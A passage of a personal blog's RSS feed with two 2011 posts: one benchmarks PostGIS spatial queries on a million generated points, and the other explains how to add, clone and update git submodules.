		<link>http://www.arlocarreon.com/blog/postgis/postgre-function-for-generating-postgis-spatial-data/</link>
		<comments>http://www.arlocarreon.com/blog/postgis/postgre-function-for-generating-postgis-spatial-data/#comments</comments>
		<pubDate>Sat, 22 Oct 2011 00:46:50 +0000</pubDate>
		<dc:creator>arlo</dc:creator>
				<category><![CDATA[postgis]]></category>

		<guid isPermaLink="false">http://www.arlocarreon.com/?p=349</guid>
		<description><![CDATA[Recently I wanted to benchmark PostGIS spacial engine with massive amounts of data. If I were to be a GIS professional I would probably have a &#8220;go-to&#8221; place for huge datasets, but I am not so I couldn&#8217;t. I wanted to benchmark spatial queries against 1 million records, just to get a good idea of [...]]]></description>
				<content:encoded><![CDATA[<p>Recently I wanted to benchmark PostGIS spacial engine with massive amounts of data. If I were to be a GIS professional I would probably have a &#8220;go-to&#8221; place for huge datasets, but I am not so I couldn&#8217;t.  I wanted to benchmark spatial queries against 1 million records, just to get a good idea of where PostGIS stands.</p>
<h2>Postgre Function</h2>
<p>After abandoning the quest for a huge dataset, I figured I would create my own Postgre function. Half an hour of troubleshooting/trial and error resulted in the following.<br />
<script src="https://gist.github.com/1172401.js"> </script></p>
<h2>How To Use It</h2>
<h3>1.) Your Table</h3>
<p>The function looks to insert records into a table called <code>points</code> with 2 column <code>location and name_of_place</code>, the name of the place being a string and the location a geo_point.</p>
<h3>2.) Create a Function</h3>
<p>I created a function in my postgre database and named it <code>fillPoints</code>. Copy and paste the above code as your function&#8217;s structure and save.</p>
<blockquote><p>If you would like to use this function to fill your own data table with predefined columns.  Simply edit the INSERT statement to match your structure.</p></blockquote>
<h3>3.) Use The Function</h3>
<p>Now that everything is in place, lets fill that table. All you need to do is execute a select statement that call the function and pass the number of records you want to create as a parameter. I used an <a href="http://aws.amazon.com/ec2/#instance" target="_blank">Amazon EC2 micro instance</a> for this test so filling my table with 1 million records took about 9 minutes.</p>
<pre class="brush: sql; title: ; notranslate">
SELECT fillPoints(1000000);
</pre>
<h2>Benchmark: 1 Million Records</h2>
<pre class="brush: sql; title: ; notranslate">
-- This will search 1/4 of the overall region.
-- My Result: 249,881 points found in ~800ms
SELECT count(*)
FROM points
WHERE ST_Within( location, 'POLYGON((0 0, 0 180, 180 180, 180 0, 0 0))' );

-- This will search 1/8 of the overall region.
-- My Result: 62,420 points found in ~200ms
SELECT count(*)
FROM points
WHERE ST_Within( location, 'POLYGON((0 0, 0 90, 90 90, 90 0, 0 0))' );
</pre>
<h2>Conclusion</h2>
<p>To say the least I was totally surprised by the benchmark. The latter is so amazing! 64,000 records in 200ms is an incredible speed for a spatial querying app/api.  This experiment with PostGIS was sparked by the idea of a mobile listings application.  I will need a speedy spatial database engine behind my application.  I am happy with the performance I&#8217;ve seen thus far in PostGIS. Perfect opensource solution for a small one-man project like mine.</p>
<p>This would also be a great alternative for REALTOR websites.  Where an MLS can have 60,000 listings at any one time. Searching 60,000 records using spatial data (search homes inside polygon) would be a simple task that could be done in much less than 100ms.</p>
<p><iframe src="http://www.screenr.com/embed/325" width="650" height="396" frameborder="0"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.arlocarreon.com/blog/postgis/postgre-function-for-generating-postgis-spatial-data/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Git repo inside a Git repo</title>
		<link>http://www.arlocarreon.com/blog/git/git-repo-inside-a-git-repo/</link>
		<comments>http://www.arlocarreon.com/blog/git/git-repo-inside-a-git-repo/#comments</comments>
		<pubDate>Wed, 05 Oct 2011 04:17:45 +0000</pubDate>
		<dc:creator>arlo</dc:creator>
				<category><![CDATA[git]]></category>
		<category><![CDATA[github]]></category>

		<guid isPermaLink="false">http://www.arlocarreon.com/?p=327</guid>
		<description><![CDATA[To a lot us of picking up git for the first time, sometimes we wonder what if I had a git repo inside another git repo. Alternatively, you may need to include an existing repo into a new project. None the less, I will try to explain how to use git repos inside other git [...]]]></description>
				<content:encoded><![CDATA[<p>To a lot us of picking up git for the first time, sometimes we wonder what if I had a git repo inside another git repo.  Alternatively, you may need to include an existing repo into a new project. None the less, I will <strong>try</strong> to explain how to use git repos inside other git repos.</p>
<h2>Scenario</h2>
<p>We&#8217;ll be working with the following scenario. You have a php website that has 2 external repos in the root; <a href="https://github.com/jquery/jquery" target="_blank">jQuery</a> and an <a href="https://github.com/tpyo/amazon-s3-php-class" target="_blank">S3 PHP class</a>.<br />
<img src="http://dl.dropbox.com/u/5156502/GitSubmoduleScenario.png" width="100%"/></p>
<h2>Git Submodules</h2>
<p>First off, a git repo inside another is called a submodule. Essentially, submodules are links to the external repos. Also, submodules&#8217; content are ignored when creating a SHA1 out of the working directory&#8217;s content. That&#8217;s why submodule folders are empty when you first clone a repo with a submodule.  </p>
<h3>Adding a submodule</h3>
<p>To add a submodule all you have to do is use the submodule command: <code>git submodule add</code>.  Let&#8217;s play pretend with our examples.</p>
<pre class="brush: plain; highlight: [1,2]; title: ; notranslate">
git submodule add git://github.com/jquery/jquery.git
git submodule add git://github.com/tpyo/amazon-s3-php-class.git s3-class
git add .
git commit -m &quot;Added two new submodules.&quot;
</pre>
<blockquote><p>Adding submodules into your existing repo will create a new file <code>.gitmodules</code> which contains the directories and URLs to these external repos.</p></blockquote>
<h3>Cloning a Repo with Submodules</h3>
<p>Like I mentioned earlier the content inside a submodule is not calculated in your commit&#8217;s SHA1s. With this said keep in mind that after cloning a project with submodule, those submodule directories are completely empty. In order to copy down the content of your submodules you need to do a <code>git submodule init</code>.</p>
<pre class="brush: plain; highlight: [4,6]; title: ; notranslate">
git clone git@github.com:mexitek/fake-repo-whatevs.git
...some output about the cloning ...
cd fake-repo-whatevs/
git submodule init
... some output on initializing ALL the submodules ...
git submodule update
... some output on downloading submodule contents ...
</pre>
<h2>Updating Submodules For Your Parent Repo</h2>
<p>Updating submodules is not exactly that straight forward and is more involved. We actually have to tell our parent repo we want to use a new version of a submodule, so a commit is required to acknowledge this change.</p>
<pre class="brush: plain; title: ; notranslate">
cd PATH_TO_SUBMODULE/
git pull origin master # &lt;-- don't forget master!!
cd PATH_TO_PARENT_REPO/
git commit -am &quot;Upgrading our Submodules&quot;
git push origin
</pre>
<p>It is important to remember to go to the submodule directory to pull updates for your submodule. Then also to navigate back to the parent repo directory and make your commit.  This will tell all other clones of your parent repo that we have upgraded our submodule.</p>
<h2>Pulling Submodule Updates From Parent Repo</h2>
<p>All other clones of your parent repo will have to execute the following.</p>
<pre class="brush: plain; title: ; notranslate">
git pull origin
git submodule update
</pre>
<p>The initial pull detects a change and pulls a reference down to the latest state of the submodule, then the <code>git submodule update</code> actually pulls down the new content for the submodule.</p>
<h2>Github is your friend</h2>
<p>I like how this information is represented in Github.com&#8217;s UI. They give you a different icon to represent a submodule, link the name to the original submodule profile and they provide the last commit you have in your repo.<br />
<img width="100%" src="http://dl.dropbox.com/u/5156502/github-submodule-link.png"/></p>
]]></content:encoded>
			<wfw:commentRss>http://www.arlocarreon.com/blog/git/git-repo-inside-a-git-repo/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
